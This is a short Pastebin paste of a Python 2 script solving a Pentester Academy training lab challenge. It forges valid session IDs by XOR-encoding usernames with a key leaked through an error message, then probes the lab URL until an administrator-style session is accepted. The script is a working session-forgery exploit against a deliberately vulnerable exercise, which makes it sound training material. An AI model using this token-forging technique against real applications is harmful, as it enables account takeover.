kaiux

Challenge #9 pentesteracademylab

Feb 14th, 2016
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.27 KB | None | 0 0
  1. # http://pentesteracademylab.appspot.com/lab/webapp/sid/1?sid=Bg8WF0U=
  2. # The challenge is to find the correct session.
  3. # Tip1 - by removing 'Bg8WF0U='from the URL you get the following tip
  4. # Error executing function: def EncryptUsingXOR(base64_text, enc_key='azsd123443'): base64_text is None
  5.  
  6. import base64
  7. import urllib2
  8. import md5
  9. import sys
  10.  
  11. url = "http://pentesteracademylab.appspot.com/lab/webapp/sid/1?sid="
  12. key = "azsd123443"
  13.  
  14. users = ["administrator", "vivek",  "jack"]
  15. def get_response(url):
  16.     output = urllib2.urlopen(url).read()
  17.     return output
  18.  
  19. def xor(data, key):
  20.     return bytearray(a^b for a, b in zip(*map(bytearray, [data, key])))
  21.  
  22. baseline = get_response("http://pentesteracademylab.appspot.com/lab/webapp/sid/1?sid=Bg8WF0U=")
  23. md5_base = md5.new(baseline).hexdigest()
  24.  
  25. for I in range(len(users)):
  26.     session = base64.encodestring(xor(users[I], key))
  27.     url2 = url+session.rstrip()
  28.     poc = get_response(url2)
  29.  
  30.     if md5_base != md5.new(poc).hexdigest():
  31.         print "Yeahhhhh - Owned"
  32.         print "user: ", users[I], " session id: ", session
  33.         print "url: ", url2
  34.         sys.exit()
  35.  
  36.  
  37. # Theory
  38. # https://en.wikipedia.org/wiki/XOR_cipher
  39. # http://stackoverflow.com/questions/20557999/xor-python-text-encryption-decryption
Add Comment
Please, Sign In to add comment